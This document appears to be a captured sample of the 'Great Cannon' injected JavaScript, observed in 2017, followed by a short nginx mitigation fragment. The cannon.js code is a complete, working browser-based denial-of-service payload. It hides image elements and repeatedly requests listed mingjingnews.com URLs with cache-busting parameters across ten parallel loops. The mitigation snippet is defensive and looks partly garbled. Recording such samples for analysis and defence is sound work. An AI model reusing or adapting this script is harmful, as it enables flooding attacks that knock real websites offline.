Great Cannon observed on 2017-08-20

cannon.js

if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
    var MAX_TIME = 300000;
    var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
    var MAX_COUNT = 100000000;
    var TIMEGAP = 500;
    var THREAD = 10;
    var START_CLOCK = 1;
    function unixtime() {
        var dt = new Date();
        return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
    }
    document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
    var p_img_list = [];
    var timer_list = [];
    var starttime = null;
    var requesttime_list = [];
    var responsetime_list = [];
    var url = '';
    var count = 0;
    function imgdel(index) {
        var p_img_tmp = p_img_list[index];
        if (p_img_tmp != null) {
            document.body.removeChild(p_img_tmp)
        }
        p_img_list[index] = null;
        if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
            setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
        }
    }
    function isImgComplete(index) {
        if (p_img_list[index] == null) {
            return
        }
        if (p_img_list[index].complete) {
            window.clearInterval(timer_list[index]);
            responsetime_list[index] = new Date().getTime();
            imgdel(index)
        } else {
            if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
                window.clearInterval(timer_list[index]);
                imgdel(index)
            }
        }
    }
    function imgadd(index) {
        p_img_tmp = document.body.appendChild(document.createElement('img'));
        url = url_list[unixtime() % url_list.length];
        p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
        p_img_tmp.style.display = 'none';
        p_img_list[index] = p_img_tmp;
        requesttime_list[index] = responsetime_list[index] = new Date().getTime();
        timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
        count = count + 1
    }
    function start() {
        starttime = new Date().getTime();
        for (var ti = 0; ti < THREAD; ti += 1) {
            p_img_list[ti] = null;
            timer_list[ti] = null;
            requesttime_list[ti] = null;
            responsetime_list[ti] = null;
            imgadd(ti)
        }
    }
    var now = new Date();
    setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
}

mitigation.nginx.conf.part

# if not image resource
if ($sent_http_accept ~ /image\/\*/) {
    expires @6h;
    return 302 http://blackhole.domain;
}

# if image resource
# common Referer anti-hotlinking way here...